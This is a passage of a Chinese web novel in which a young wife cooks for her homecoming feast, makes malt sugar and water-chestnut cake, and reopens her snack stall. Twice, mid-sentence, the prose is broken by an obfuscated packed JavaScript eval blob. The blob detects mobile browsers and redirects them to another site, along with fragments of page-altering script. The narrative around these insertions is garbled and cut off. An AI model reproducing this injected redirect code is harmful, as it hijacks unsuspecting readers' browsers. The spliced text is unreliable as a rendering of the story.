“宝珍,我先前去卖凉糕,后来停了,你带过你那些纺庄的人来买过,之后她们还有说什么吗?” 丁宝珍虽不明白丁宝珠怎么忽然又提起这事,却也如实说道: “说起这个,我上回领她们去照顾你生意,后来她们知道地方了就自己去买了。但你后来收了摊子去嫁人,她们就买不到那凉糕,所以都来问我了,得知后还觉得遗憾呢!” “哦?真的?”丁宝珠问。 丁宝琴专心吃着糕,蓦地也想起什么,含糊道: “话说回来,那去镇上的道儿上是不是也有新的卖凉糕的摊子了?听说一开始卖得还好呢!” “这个我也听说过,我那些姐妹讲的,只是没有姐做的那绿色的凉糕,所以也没咋去买过。”丁宝珍说道。 “我不仅听说了,还见到那摊子了呢。”丁宝珠道,“那摊子上只卖枣泥凉糕,听旁人说,起初是卖得好,后面客人就少了。” “那不是正好?大姐要是再把摊子摆出去了,肯定比那个摊子的生意好!” 丁宝琴一脸打着包票的神情,好像那摊子是她自己很容易就开张了一样。丁宝珠笑而不语,却只问道: “宝珍,要是我重新去摆摊,还卖那抹茶红豆凉糕,你那姐妹们还来光顾不?” 丁宝珍眼前一亮:“那感情好,你这绿色的凉糕又新奇又好吃,她们有的到现在还念念不忘呢,大不了我再带她们去光顾一次也就行了。” 丁宝琴也兴奋问道: “大姐,你又要去摆摊了么?那是不是又能吃到你做的凉糕了?说实话,我可想吃了,只是家里连材料都给你带过去了,也就没人做了。” “馋猫,我看你就是单单想吃点心了吧?”丁宝珠刮了刮她的小鼻子。 丁宝珍却问: “姐,你夫家同意你出门摆摊吗?可别摆了几天就又停了,这可对做生意不好。” “放心,那边我能说,何况摆摊也是为了挣钱,到时候先让他们见着钱再讲。” 这其中的细节,丁宝珠也不多说了,但与两姐妹聊过后,更是坚定了她要重新出摊的念头。 只是除了旧品,她也该再出一些新品了…… 39. 酱排骨与卤下水 室外渐渐有股香味从窗口飘进了屋,丁宝珠和宝珍宝琴又说笑了几回,丁宏也是准时回来了,再过不久,柳萍徐晔已是将热气腾腾的菜肴一盘盘端来上了桌。 虽说是宴席,但其实也就在自己屋里摆了一桌子而已。丁宏柳萍坐在上座,因着前者一定要和徐晔喝两杯,所以这位女婿就与他坐,三个女儿也就和柳萍坐了。 中间是一盆滚汤,里面可以见到有着绿油油的野菜,还有上下浮动的片得极薄的肉片,这种汤在这时节也叫做春汤,最是暖身暖胃。 另有煎豆腐、熘丸子、摊蛋饼、炒菌菇,还有大抵是丁宏准备的酱排骨、各色卤下水,看上去非常适合下酒,除此之外,还有几碟菜,是炒了蒌蒿薹、马兰头、紫芽姜,还有芝麻油拌的芥菜笋丝,足以去腻,连餐后点心都没落下,是一盘沾了糖的水晶芋头。 不过最吸引丁宝珠的却是那一盘香气扑鼻的经典的梅菜扣肉。 “好了,时辰也不早了,我们就动筷吧,大家不要拘束,自己夹自己吃的。” 丁宏下了令,其他人也就拿起筷子来。徐晔把那小酒坛子的封口去了,站起身来敬重道: “岳父,我来给您倒酒。” 家里喝酒用的也是粗碗,倒上一碗那量可不算少。丁宏满意地看着眼前这个女婿,笑道: “好不容易有了机会,今天我们爷俩好好喝一回,跟在自己家里一样就行了!” 柳萍思索片刻,却问道: “他爹,你说我们要不要请娘和宝菱也过来?姑爷来了,不见下祖母也不是个道理,还有宝菱那孩子,可怜见的,爹和大哥大侄子还是都去下地了,大嫂又带着小侄儿去县城了,就留她一个,还不如让她来一块儿吃饭。” 丁宏顿了顿,这些年蒋氏的态度他也看在眼里,可谁让那是他亲娘呢?也没有能够分家的理由,只能这么过下去了。但转念一想,柳萍说的也不无道理,不可能他们在这吃好喝好,却把祖母落下,便道: “也好,那就请她们过来,再多加两人碗筷和座位吧。” 柳萍正要去,却被丁宏拦住,让丁宝琴去了,她年纪最小,排也是最小,平时和大房也没什么矛盾。 不过一会儿,丁宝琴随着蒋氏和丁宝菱进门来了,那蒋氏斜了一眼那桌菜色,又见到徐晔,嘴边似笑非笑道: “这位就是新姑爷吧?” 徐晔再次站起身来尊敬道:“祖母好,我是徐晔。” “晔哥儿我咋不认识?你和你爹当初不还来我们家送聘礼了吗?现在看来,晔哥儿当真是个好的,老二媳妇,你该庆幸你有了个懂事的姑爷!” 蒋氏一来,就必须坐上座,丁宏也让了出来,可听到这话却皱了皱眉。前者倒是毫不委婉地直接坐下,而那沉默不语的丁宝菱则被丁宝珍给拉了过去坐下。 柳萍干笑道:“娘说的是,姑爷确实懂事,方才还在帮我打下手呢。” 徐晔讲了几句不敢,却敏锐地发觉餐桌上若隐若无的火药味。虽然他们结了亲,丁宝珠的祖母自然就是自己的祖母,况且自己的祖父母也早走了,可这个时候更像是丁家的事情,他觉得自己不多话会比较好。 蒋氏嗤声道:“我说老二媳妇,你咋能让姑爷做灶间里的活呢?那是爷们儿该做的事么?他懂事,你难道就不懂事了吗?” “娘。”丁宏不悦地出声打断道,“今天是宝珠的回门礼,也是姑爷头一次来家,您有必要扯那么多么?好好吃饭不成?” 蒋氏盯着他冷笑一声道:“今天是回门礼,我咋不知道?要是我没来,你们是不是干脆就直接吃了?我说老二,几个孩子没大没小的,你也不管我?” 丁宏无奈道:“娘,酒菜才端上来呢,现在也请您来了,您别想得那么多,咱们还是动筷吧?” 蒋氏冷哼一声,偏眼又见到了已经成为人妻的丁宝珠,那浑身上下的气质果然为之一变,只是往昔的一幕幕场面仍旧记忆犹新,历历在目,她接着问道: “也不知珠姐儿在夫家咋样?有没有收起脾气啊?不然哪个夫家会愿意忍受?” 丁宝珠一听,就知道蒋氏这是又朝她开火了,这一桌子人,她好像只对徐晔和颜悦色的。请她来完全是倒胃口,可又不能不请,这就很难受了。 柳萍刚想代替回答,丁宝珠却笑吟吟说道: “奶奶,您问得未免也太细了点吧?我嫁的徐家,徐家人今天就在这,他都没和我爹娘告状呢,怎么听你的意思,好像我一定会被夫家嫌弃似的。再者说,我要是发了脾气,那也是我夫家该管的,我又不是嫁的您老人家,您就安安稳稳吃了这顿饭,也就够了!” 蒋氏听了这番话果然板起了脸,可到底是碍着有外人在没有发火,何况丁宝珠说的也不无道理,只能冷着脸拿起筷子。 终于能吃席了,席面上一般是吃菜多,碗筷之间叮当作响。丁宝珠夹了些春菜,就直接去夹了那扣肉吃。肥瘦相间的红润扣肉裹着浓郁的酱汁,那酱汁中又夹杂了一股属于梅菜的清香,肥而不腻,极具风味。剩下的煎豆腐熘丸子都是席面上常见的菜,她甚至觉得自己才刚嫁过去,家里就开始准备了。 丁宝珠见徐晔已经和丁宏喝上酒了。丁家还算是有些底子的,但后者素日里仍是选择一些低度数的便宜散酒,可这次她特意买了一坛醇酒,丁宏当然是爱不释手,而且徐晔也肯定不会推拒。 然而他的酒量…… 落日后他们就要回去了,这醉醺醺的,就不知还会不会走路了。 空腹喝酒伤胃又醉得快,比起在众目睽睽之下,丁宝珠更不想回去被李银屏抱怨,便夹了块摊蛋饼在他的碗里,说道: “喝了酒也得吃吃下酒菜才对,这样酒才好喝。这鸡子是家里自己养的鸡下的,你尝尝如何?” 丁宏笑呵呵道:“是了是了,姑爷再尝尝这卤菜,要是觉得好吃,就带些回去,也给你爹尝尝。” 可徐晔看着那块蛋饼,就想起了丁宝珠方才的那番有关鸡子的言论,心里无奈,却也吃了,又去吃那些卤菜——他今儿注定是受人摆布的一日。 那卤的下水仍是猪下水,毕竟宰鸡宰鸭还是没什么赚头,杀猪在平民里可以说是最赚的。有猪心、猪肝、猪肺、猪腰子、大小肠和猪尾巴,那卤汁已经完全渗透进了下水里,吃一口再喝一口酒,还真是挺爽快的。 只是某些猪下水清理起来十分麻烦,丁宝珠下意识掏了块卤肠吃,结果就好像有点中彩一样地尝出丝腥味,但你要问是故意还是不小心的,那肯定是后者。 按理说她动动关系也可以得到不少下水,也许还是免费的,但先清理再加上制作也太麻烦了,有那功夫她都能做上几批点心了,所以她暂且不考虑。 不过那猪心猪肝很好吃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388032|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是丁宝珠还是最喜欢猪头肉那软糯的口感,可猪头一直就那一只,倒是要比其他下水贵些。 蒋氏依然冷冷瞥着这对新人,总归活得长了,有了那么点阅历,那丁宝珠一个劲儿地吃,简直就和猪一样,而那晔哥儿只顾着讨好老二家的,还不是他爹徐猎户与老二交好?这么看下来,这俩人压根就没啥感情! 不过只要丁宝珠这个刺儿头离了丁家,自己心上的刺儿也就拔了,而且嫁出去的女儿泼出去的水,那徐家住得又偏远,今后想必也见不到几面了。 为此,那蒋氏也就真的不再多话,否则起码还要再多讲几句,继而大吃大嚼起来。 徐晔酒量不像他爹徐翊,两碗醇酒下肚,脸上已经浮现了一层淡淡的颜色,活像是女儿家用的胭脂,而桌边的几个女儿也已要吃饱了,小一点的宝琴和宝菱,更是又吃了些那甜滋滋的水晶芋头后,与柳萍说了声后就下了桌。 丁宝珠此时也劝道:“爹,午时快结束了,您午后还有事情要做不?酒喝多了许会误事,这酒也不一定今天就要喝完,放到下回也是一样的。” 至于柳萍,那是一向不允许丁宏喝醉,村里有很多那种酒蒙子,最后不是误了事就是丢了命,她可不想丁宏也出事情,便跟着说: “是啊他爹,女婿以后又不是不来了,还能再喝,而且这还是珠儿特地给你买的酒,你不省着点,莫非是一次性就要喝完吗?” 这醇酒的劲儿的确要大,平日里丁宏喝了两碗啥事也没有,这次下肚后却有些反应了,只好说道: “行,那还剩着一点,就下回喝吧,姑爷可要多来走动走动啊。” 徐晔暗暗松了口气,才答应,那蒋氏就吐了口骨头,哼声道: “大老爷们儿多喝点酒怕啥?你这做媳妇儿的,还管这闲事?” 丁宝珠忽然觉得这蒋氏和李银屏似乎是一样的,她看不起柳萍,后者也瞧不起自己,就一个劲儿地非要呛几句才罢休——可究竟为什么一定要呛呢?难道自古以来婆媳永远都是冤家路窄的? 丁宏劝道:“娘,我午后确实还要做事,喝醉了就晚了,您就少说几句吧!” 最后蒋氏的确是开始少说了,可桌上的剩菜还有不少余下的,她光挑了肉菜给带了回去,就留了那些卤下水。 吃过饭,丁宏嘱咐了几句就离家了,柳萍和丁宝珍收拾碗筷去,而丁宝珠瞧着徐晔又有些喜宴后的样子,不禁说道: “徐晔,你多喝了一碗,要不你先打个盹儿?” 徐晔身上散发着淡淡的酒气,熏得双颊也是浅红,他听闻后蹙眉道: “这……不太好吧?” 今天是回门礼见岳父岳母和妻家亲戚的,哪能在没回去之前就在妻家里呼呼大睡?即使他没读过什么书,也知道这很没有礼貌。 “总比你一会儿跟人说话都磕绊嘴的要好吧,回去前要是没醒酒,路都不好走。”丁宝珠安慰道,“就在桌旁小憩一会儿,到时候我喊你就是了。” 二房仍然是只有两张床,一张是丁宏柳萍睡的,一张是三个女儿挤在一起的。而丁宝珠出嫁后,丁宝珍和丁宝琴再睡倒是舒适了点,但这两张床徐晔都不能睡,靠在已经擦干净的桌旁倒是可以。 徐晔纠结了会儿,或许是觉得丁宝珠说得也有道理,便缓缓点了点头,最重要的是他自己也觉得十分困倦,也怕之后误事。 40. 马蹄糕 见徐晔睡下,丁宝珠轻手轻脚地离开屋子。院里,柳萍和丁宝珍打了水盆在刷洗碗筷,吃的是大鱼大肉多,那碗筷也要洗得更仔细些。 丁宝珠说了徐晔的事情,柳萍点头理解道: “今天你爹高兴,少不得和姑爷多喝几杯,让姑爷休息休息也好。” “还有几个时辰我才回去,也不能浪费了。”丁宝珠考虑道,“不如我去上山逛逛,说不定还能带点东西下来。” 柳萍笑道:“你啊,还是那么闲不住,罢了,你想去就去,只是要早些回来,家里有我在就行。” 丁宝珍在一旁甩了甩手上的水珠,道:“姐,今天我也在家,闲着也是闲着,你带我一个呗?” 闻声而来的丁宝琴也参与进来,兴奋地说: “姐,也带我去,我上次还是和你一块儿的呢!” “行行行,都去,不过我们工具得全部拿了,小心路上!”丁宝珠笑起来。 柳萍看着蓄势待发的三姐妹,又是无奈地摇了摇头,可不知为何,她竟觉得她们仨的关系,好像更紧密了点…… 徐晔迷迷糊糊醒来后,先是直起身子伸个懒腰,揉了揉眼后,他却突然发现室内静悄悄的,连带着屋外也是时不时吹着风格外宁静,而柳萍正坐在床沿上垂头做着针黹,见他醒过来了,笑道: “姑爷,你醒了?” 徐晔的酒是醒了大半,可是那脸上却又热了起来,慌忙站起身道: “岳母,我……” 他四下瞧了瞧,才问道:“宝珠呢?” 柳萍回答道:“她带着姐妹们外出了,家里有我呢。姑爷醒了酒没?要不我再去做完汤来?” “我醒了,不扰烦岳母。” 徐晔说完,一时却不知又该说些啥,丁宝珠不在,他也不可能独自一人回家,何况时间也没到。 柳萍看出他的窘,又笑道: “姑爷醒来得正巧,我纳了几双鞋垫子,就是不清楚姑爷的尺码,你看看合不合适。” “这不用了,家里还有呢,做针线活儿费眼,岳母以后少操劳这些比较好。” “嗐,这些我们哪里少做过,那算个啥?再说了,珠儿那孩子打小就不会做女红,你们如今成了家,这东西自然是越多越好的,快过来。” 见柳萍这么讲,徐晔只好过去。前者熟稔地取了一块布头微微比划了下,就已量出了尺寸,继续捏着针线,笑道: “你也知道,我到现在也没个儿子,珠儿又是我的长女,终于是出嫁了,你作为我的女婿,我当然也就把你当做我所出的看了,咱家里也没啥规矩的,所以你也别那么拘谨。” 徐晔冷静下来,心头一阵暖融融的,便点头道: “岳母也清楚,我出生后就没了娘,后来也是姨母带我长大的。其实我从没想过自己能娶上媳妇,眼下又多了一个娘亲,我也高兴,以后家里要是不嫌弃,我一定多帮忙。” “好孩子,你有这个心就行了。” 比起柳萍,还是丁宏和徐晔见面的多,所以她起初也不能完全了解后者的为人,只是今日一天下来,她倒是觉得这个女婿人还不错,和脸上那可怖的疤痕胎记完全不同。 不过她倒是听过几耳当年村里的传闻,据说那可能不是胎记,而是他亲娘难产,那接生婆也急,竟然瞒着人直接用工具把婴儿给取出来,这才伤着了。 柳萍想到这,又笑着转移话题道:“过了今天,你就可以改口了,记得以后常来瞧瞧。” 徐晔稍稍赧然,他如何不懂柳萍的意思,这是叫岳父岳母也不满意,而是可以称呼爹娘了。 况且丁宝珠嫁进来后不也改口了?自己要是不改,反而显得生分。 就在这时,室外传来一阵喧嚣,柳萍侧耳一听,便道: “应该是珠儿她们回来了,姑爷,你去看看不?” 徐晔应了声就走出室内,只见那三姐妹每人都是满载而归,现在正放下那些筐子,在里面收拾呢。 丁宝珠见到他,问:“嗳,你醒啦?” “嗯。”徐晔颔首,又见那日头也有了点要落下的趋势,就说,“时辰差不多了,我们也该回去了。” “行,等我整理整理,好了就走。”丁宝珠答应道。 山上的资源似乎是无穷无尽的,而且这回她们还换了条进山的路,所以又采到了不少野菜、菌菇和笋子,丁宝珠则是摘了不少密花果和馒头莓,还特意去找了蓼草一并收集。 另外还有一个包裹,已是扎了口子,里面扁扁地放着什么,只是徐晔见不着。 那厢柳萍给丁宝珠和徐晔都纳了几双鞋垫,连带着那些卤下水也一起给了他们。两人大清早来时,那筐内还不算很满,结果要离开时,那筐里却几乎要被放满了。 和柳萍宝珍宝琴挥手而别,他们重新走在村里的泥巴路上,没过多久就回到了徐家——这大概就是娘家和夫家住得近的好处吧。 “大哥,大嫂,你们回来啦?” 徐莹徐芝迎了上来,丁宝珠回了几句,就接着收拾筐里的东西了。这次上山她们收获颇丰,所以即便是平分,她也分到了部分山珍,正好可以做这几日的饭食。 还有她的重新出摊计划,也要开始抬上日程了。 先前做的酒曲,那覆盖在上方的稻草上已渗出了一些水珠子,为了接下来能够降温,丁宝珠便把那些覆盖物都去掉了,而罅隙间仿佛已经有了抹酒味。里面的那一个个小团子再拿出摊出晒干,就能成为随取随用的酒曲了。 因为她又采了蓼草,所以她准备再做一批酒曲来。 这酒曲不仅能做糕点,酿出的米酒更是一年四季都有销路,还属于是老少皆宜的吃食,丁宝珠决定多做点备用。 而头次做好的那些酒曲,她想着先试试酿一波酒出来。 好在那回上街她买了不少糯米,糯米先是浸泡一夜,又上锅蒸个三刻钟,晾凉了,就拿出一两个成品圆球酒曲,用温水化开了,再与糯米搅拌均匀。丁宝珠还去找了个空坛子,里面装满了酒曲糯米,压得又平又实,中间不忘挖一个小洞出来,里面仍要撒上些酒曲粉,最后那酒也是从那洞眼里出现的。 再把这坛子整个用覆盖物包裹住,置在角落,接下来就是时间问题了。 而其余的糯米,丁宝珠又取出一部分来,做了那水磨的糯米粉。饮食类的生意做着就是会费时费力,但要是不卷,那根本就做不起来了。 幸好徐家里也是有石磨和石臼的,丁宝珠就用那些来制作材料,偶尔李银屏会狐疑地问她几句,她也敷衍了过去,反正只要她这个儿媳妇一直在干活,做婆婆的也不好说什么。 至于剩下的糯米,她将一起买下的麦子一同取了出来,预备着做一种和酒曲一样可以备用的材料——饴糖。 这饴糖可以说是在这里用处最大使用范围最广的糖了,上到能做可口点心,下到两根棍子搅搅就能吃,必要时还能做调味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404416|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小麦浸泡后就浇水使它发芽,长好的麦芽切得碎碎的,再和焖熟的糯米粉搅拌在一块儿,这时候那渗出来的水液已经有点甜味了,而且是那种纯原生态的甜。 再将麦芽糯米饭发酵几个时辰,取那些水液来控制火候熬煮,就能转变成糖浆,等放凉了,就是印象中的饴糖了。 在趁糖浆还没有完全冷却凝固的时候,丁宝珠还用去镇上时买的李子做了实验,把李子切了半,再用竹签串了,裹上一层饴糖,等晾干了,也和镇上卖的那糖果子差不多,只是糖壳没冰糖那么晶莹剔透,但成本却是降低了不少。 丁宝珠还让徐莹徐芝过来做小试吃员,比起冰糖糖浆那样的纯甜,饴糖多了一份属于麦芽的清香,不过对于年纪小的而言,只要是甜滋滋的好吃的,他们基本不会说不好。 去镇上时,她还买了些荸荠,挑了几个留着吃,其余的都被她磨成了荸荠粉——换个更熟知些的名称,也就是马蹄粉。 而这马蹄粉,丁宝珠决定用来做一道新品——马蹄糕。 有了那马蹄粉,这马蹄糕做起来就方便了。先用马蹄粉和水调和成一份粉浆,过滤几遍,让那粉浆更为细腻,锅里再开始熬红糖,熬成的糖水浆再与马蹄粉浆按数次融合就好,同样是个要看火候的。 不停搅拌,两种颜色便混合了,这个时候还是粉浆的模样,也是马蹄糊。丁宝珠再找了个比较平的器皿出来盛出那些马蹄糊,继续上锅里蒸。 这马蹄糕放凉了之后反而更好吃,再加上眼下也是卖荸荠多的时候,所以她才想到了这道美味。 冷却过后的马蹄糕褪下了那粉浆糊糊的样子,变得透亮起来,光线一照,非常好看。而丁宝珠这次也找了另一个人来做那试吃官。 徐晔疑惑地睃了她一眼,说实话,他自认为这马蹄糕的样子还真不如凉糕好看,便问道: “这行吗?” “哎呀,我当时不是答应你了要做么?你一定会喜欢的。”丁宝珠拉着他说,“而且这是拿我们上次去镇上后买的那些荸荠做的,我又不会害你,你尝尝味道怎么样?” 徐晔听到这,也就吃了一块儿,才咀嚼了两下就不由得睁大眼。 嘴里的糕不比凉糕那样软糯,竟是脆韧十足,满口都是荸荠的清香,对于他来说更重要的是——这马蹄糕简直是甜而不腻,爽滑可口。 徐晔憋了会儿,才低声道: “确实好吃……” 这下他不得不承认,丁宝珠做点心还真有一手——不对,在这段日子里,她饭食也做得很不错呀。 丁宝珠自己也尝了一块,满意地点点头。 “成了!” 这吃食方面行了,她又把主意打在了饮品上面。 因为卖的仍是点心,吃多了总会甜腻,所以她想着不仅是要卖吃食,摊子上还可以推出饮品,这样顺势就又有进项了。 将那扁扁的包裹打开,里面放的正是丁宝珠和姐妹出门时再次收集的桃花瓣和杏花瓣,这个时候,两种花树都还未凋谢。 这桃花瓣和杏花瓣,丁宝珠准备做成桃花茶与杏花茶,除去人工几乎不花钱,而这时的人工也是最不值钱的——看来还是饮品赚钱。 毕竟她当初那桃花茶就没卖几天,杏花茶更是没来得及推出,况且那个新来的摊贩也是光卖凉糕没有卖饮品的,所以她依然能试试。 把明日所有要卖的物品都放好,丁宝珠这才睡了,只等翌日一大早就起,重新出摊! 41. 杏花杜仲茶 第二天一大早,丁宝珠隐隐约约听见头一声鸡鸣就慢慢醒了过来,再下床洗漱。 虽说她是睡在外侧的,可一动作,还是让旁边睡着的徐晔也惺忪醒来,他揉揉眼转身,依稀见丁宝珠在梳头,含糊问道: “你现在就要走了?” “嗯啊。”丁宝珠很快清醒且答应着,又说,“我早点走,一是为了能占个好位置,二是怕到时候走不了……你到时候帮我和爹姨母讲一下哈。” 徐晔没有出声,只是摆了摆手,不过他也是会照做的,毕竟他那日在丁家见到了蒋氏,也好像明白了点做媳妇儿的不容易。 吃食和饮食放在筐子里,两头勾起来,丁宝珠挑着扁担,就蹑手蹑脚地推开木门离开了徐家,迎着晨雾出村去了。 之后被家里人发现又发生了什么暂时不提,却说她来到那村外的大道儿上后,又沿着回忆找到了那棵杏花树,可巧那里没有别人摆摊。丁宝珠心里一喜,当即就上前占据了那树下的位置,整齐摆好自己的摊子,又寻了个行人开始要增多的时刻,大声吆喝道: “瞧一瞧看一看咧,又好吃又新鲜的凉糕点心,来了就是回头客!快来尝尝诶!——” 丁宝珠的嗓子仍旧又高又大,喊了就能让附近的人听见,而没喊几声,就有个熟悉的声音回答着漫过来了: “哎哟,来了来了!” 丁宝珠定睛一瞧,那人不是篾匠大叔又是谁?马上打起了十二分的精神,又是十二分的笑意,说道: “大叔你慢着点,果真来光顾我这的生意了?” 那大叔迈开步子过来,又在摊前站定,笑道: “娘子这说的啥话,咱咋说也是老顾客了,你又重新出了摊,我能不来瞧瞧么?何况你这的凉糕更好吃!” 丁宝珠听后笑道: “凉糕是有的,有红糖枣泥馅儿的,也有那抹茶红豆馅儿的,只是今儿我还做了新的吃食和饮品来,大叔你要不要试试?” “哦?是啥吃食?新口味的凉糕么?” 看来篾匠大叔还是比较关心吃食方面。 毕竟丁宝珠的摊实在是太小了,连售卖的东西也不能完全摆出来,纯靠一张嘴说,有人要买才取出来,所以大叔不清楚也正常。 丁宝珠只是笑道:“是新做的马蹄糕,最近不是荸荠上市了么?还有和桃花茶味道不一样的杏花茶,也是别有一番风味呢,我拿来给你看看。” 她说着,就取出了一盘还没有切开的马蹄糕,而且这马蹄糕上次做了试吃后,丁宝珠又做了个不同样式的,将那糕体里多加了些马蹄碎末,这样吃起来的口感就更加丰富了。 大叔一见那完整的马蹄糕,不禁叹道: “哎哟,好平整的糕,看起来还光溜溜的咧,这……马蹄糕,倒是没见着有人卖的。” 丁宝珠推销道: “这糕吃起来和凉糕不一样,挺有嚼劲的呢,还甜而不腻。既是个新吃食,大叔你买下带回去给老婆孩子尝尝呗。” “你倒是就紧着卖了。”大叔打趣道,又问,“那这马蹄糕咋卖的?还有其他的,也是和以前相同的么?” “凉糕是一样的,马蹄糕四文钱一份,桃花茶和杏花茶都是两文钱一碗,但是自带容器的话,可以半价!”丁宝珠解释着。 那大叔听了,心里暗想着那马蹄糕怎么不用块来讲,却是用份?这倒是引了他几分好奇,便说道: “那我先要四块枣泥馅凉糕,你这马蹄糕……我也要一份吧。” “好嘞。” 丁宝珠应道,利落地取了叶子,先包了四块凉糕,用丝线绑住了,再取了一片,又拿了把小刀在手。 原来是要切开那马蹄糕,一份里面也是两块,只是用浅底器皿做出的,那糕也不是很厚了,之后一起包好递了过去。 大叔接过去,却叹道:“你这马蹄糕倒是不便宜啊。” 可对待这个问题,丁宝珠早已想到了该如何回复,浅笑道: “大叔不清楚,这荸荠是应季的果子,也就等于吃个新鲜,过了这季,下次想要再吃到,那就要等下一个能出荸荠的季节了。大叔不如先带回去尝尝,要是合口味,就再来光顾,不合口味,那也就这一回罢了。” 篾匠大叔听闻后笑道:“道理我都晓得,回头我带回家让家人尝尝就是了!” 又寒暄几句,大叔就离开了,丁宝珠也是继续开始叫卖了起来。 随着朝阳慢慢升起,路上的行人也开始多了起来,而没过多久,丁宝珠突然发现,那新来的凉糕摊贩竟然也来了。 好么,这下有竞争对手了! 不过目测离得也远,所以她并没有多想,而是继续叫卖。 不过一会儿,她就遇见了那邻村纺庄的人过来买凉糕,果然又是买那抹茶红豆馅儿的,丁宝珠趁机推销了那清甜的马蹄糕,凭借着击准心里念头的措词,也还真的一并卖出去了些。 另有那去村塾的塾生们,偶尔也有来买糕的,但比起这点心,丁宝珠反倒觉得更适合卖其他的小吃。 唔……比如说在学校周围的便宜又好吃的那些种类? 丁宝珠吆喝的时候,有时也会把那价钱也喊出来,不曾想这句一说出口,那远方也传来了一句叫卖声: “卖凉糕咯!一文钱一块,不好吃不要钱!——” 丁宝珠的凉糕售价是五文钱两块儿,那摊贩竟比她便宜了整整一倍,于是也就真的引了不少客流量过去。 可丁宝珠并不气馁,凉糕只能说是她的初始点,她又不是一直都卖,这不今天她就预备了新品么?所以她很快就将重心转移到了马蹄糕上。 不仅如此,她甚至还飞速的推出了一款套餐——一份马蹄糕搭一碗茶水是五文钱。要是光有一份糕,有人也许会觉得贵,可若是再配一大碗茶,怎么也能解渴,就有人会接受了。 再加上更多人是听了那自带容器半价的话——部分人最听不得商家主动提降价的事儿,一来二去的,那桃花茶与杏花茶也卖了不少出去,多数是停下来喝一碗,当是小茶肆的。 这不禁让丁宝珠想起了自己彼时去祥安镇实地考察的时候,镇上有那么多铺子,摆了几张桌椅,也好过自己这个只能站着的小摊! 当然最好还是能有家属于自己的店铺了…… 只是对当下的她来说,这可能算是个不小的目标了。 “咦,珠姐儿,你又出摊了?” 蓦然出现的问句令丁宝珠回过神来,循声而望,原来是那熟悉的白胡子老者,也就是邱大夫。 丁宝珠连忙笑道: “邱大夫,您来 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丁宝珠笑道:“没事儿的,邱大夫,不过几个铜板,下次再补上就行了,您先拿着。” “那可不行,老夫不喜欢赊账。”邱大夫提到这,仿佛又想到了些许往事,而且是不愉快的往事,摇了摇头,但很快他就想到了办法,问道,“不如这样,我筐里有些药材,你挑一些,就当点心钱了,怎样?” 不等丁宝珠回复,已是把筐子给取了下来。前者只好说道: “好,就按邱大夫的主意吧。” 有时候上山去采药,那些药材也都是野生的,只是需要医者才能将药材发挥到最大的功效,而在普通人手里,那也不过和些山珍是一样的价值。听说还有些人是专门上山去采药,然后卖给药铺医馆的。 只是那药铺医馆可能都有专门的采药人,常见的药材皆有,除非是少见或是难取的,不然也不会收。 而像邱大夫这样的乡野大夫,更是时常要自己亲自去采药了,好在他老人家看上去身体一直不错。 华国向来讲究医食同源,所以做美食博主久了,丁宝珠偶尔还会去看关于医药方面的古籍,倒也认识几味药材。她见筐子角落里放着几张深色树皮,拿起来瞧了瞧,问道: “邱大夫,这可是那杜仲?” “哦?你也识得?”邱大夫稍许惊奇,毕竟这种树皮类的药材,一般人就不清楚了。 丁宝珠也是猜测,见邱大夫肯定,她才笑道: “之前见到过,也就记得了,那我要这些杜仲行么?” 这杜仲植株通常选用年份长的,越长药效越好,最短也要有十年。邱大夫却没说什么,只是微笑道: “可以,你回去再把上面的粗皮给去了,洗净后切成方块或条,再晒干就行。只是你家莫非有人腰脊疼痛?” 丁宝珠摇摇头,却是将另一个坛子盖儿给打开,指着笑道: “不是呢,只是我今天还多备了一品杏花茶,想着里面再用这杜仲煎一下。” “这倒是不错,杏花茶原本就能补中益气,再加上杜仲,更有补血强筋的效果。”邱大夫一边说着,一边接过了那包马蹄糕,“那老夫先走了,回去尝尝你的糕去!” 丁宝珠目送他离开,又把那些杜仲给收了起来,不在话下。 42. 芥菜蘸酱团子 低头一瞧,今日的份量也是卖了有一半了,或许是那马蹄糕是新品的缘故,大家伙儿看着新奇,也就都买了尝尝。 丁宝珠直至现在都水米未进,便想拿一块凉糕吃,可就在这时又有生意上面,也只好暂且放下招呼客人。 却没想到凉糕一块儿接着一块儿卖,竟没给她松懈的时候,丁宝珠感到些微疑惑,便问了几句,有的客人是接过就吃,一面吃一面说道: “我们去买了那个摊子的凉糕,不瞒你说,他卖得也确实便宜,只是……果然是一分价钱一分货,想着还是来尝尝你这里的。” 这客人说的倒是委婉,丁宝珠却听出来了,这不就是嫌那摊子上的不好吃么? 她看眼前有几个手拿着凉糕立刻就吃的人,心里叹了声。凉糕不管怎样也是个点心,没有味道那就真的是犹如嚼蜡了,所以里面必须要放调料。那摊贩为了卖出去不惜压价压到那么低的程度,那材料肯定没自己用得好,即使是想要薄利多销,那前提也得是好吃留住客人吧?何况这条道儿上现在就他们两家在卖糕点的,简直就成了高下立判。 不过丁宝珠同时也觉得坦然,反正都是客人们选择的,她只要负责继续售卖就行! 想到这,她又摆了笑脸出来,继续推销道: “大哥们吃着糕多了也口渴,不如再来一杯茶水来解解渴,只需两文,自己带了容器装,还能半价呢!还有今儿新出的马蹄糕,那口感和味道和凉糕不一样,只卖这一季,有兴趣的也可以试试呀!” 于是又过了将近一个时辰,逐渐口干舌燥的丁宝珠抓着身前竹筐的边沿一瞧,早上带的东西,终于是全部卖完了,只是总共赚了多少她还没算,可感觉着荷包的重量,无论如何也是赚了的。 